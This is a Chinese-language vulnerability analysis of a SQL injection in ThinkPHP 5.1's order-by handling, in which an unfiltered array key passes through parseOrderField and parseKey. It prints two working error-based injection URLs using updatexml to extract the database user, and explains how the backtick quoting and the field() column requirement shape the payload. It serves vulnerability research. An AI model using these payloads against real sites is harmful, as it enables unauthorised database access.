0x00 影响版本
1 | 漏洞影响版本 |
0x01 漏洞分析
首先看一下官方commit
payload1
http://127.0.0.1/thinkphp5.1-master/public/index.php?order[id`,%27boo%27)|%20updatexml(1,concat(0x3c,user(),0x3e),1)%23][]=1
由补丁可以看出,当val是数组时增加了对key的判断,那么问题应该出在未对key进行过滤,而key被带进入parseOrderField中,跟踪一下。这里getOptions()函数是获取了当前要查询的参数,getFieldsBind()函数是获取数据表绑定信息。
查看最后的return语句,这里将val拼接到key的后面,那么这个val值其实是不用的,只要key值可控,就可以将后面的注释掉1
return 'field(' . $this->parseKey($query, $key, true) . ',' . implode(',', $val) . ')' . $sort;
因为这里parseKey对key进行了处理,继续跟进。
这里对key值进行了多重判断1
2
3
4
5
6
71. is_numeric判断,如果是数字,则返回,不是的话继续向下执行
2. 判断$key是否属于Expression类
3. strpos($key, '->') && false ===strpos($key, '(')
4. ('*' != $key && ($strict || !preg_match('/[,\'\"\*\(\)`.\s]/', $key)))
这里注入的sql语句进入了第四个判断,即将key用包裹。
1
2
3if ('*' != $key && ($strict || !preg_match('/[,\'\"\*\(\)`.\s]/', $key))) {
$key = '`' . $key . '`';
}
然后回到上一层,进行拼接返回1
return 'field(' . $this->parseKey($query, $key, true) . ',' . implode(',', $val) . ')' . $sort;
拼接得到 field(SQL注入语句
,$val) 可以看到我们需要对`闭合并且注释掉后面的内容。
两外field()函数,field()函数必须指定大于等于两个字段才可以正常运行,否则就会报错。而且当field中的参数不是字符串或数字时,指定的参数必须是正确的表字段,否则程序就会报错。这里由于程序会在第一个字段中加 限制,所以必须指定正确的字段名称。第二个字段没有限制,可以指定字符串或数字。
那么payload 可以是1
http://127.0.0.1/thinkphp5.1-master/public/index.php?order[id`,'boo')|%20updatexml(1,concat(0x3c,user(),0x3e),1)#][]=1
0x02 后记
因为tp5 pdo的原因,还是不能进行子查询。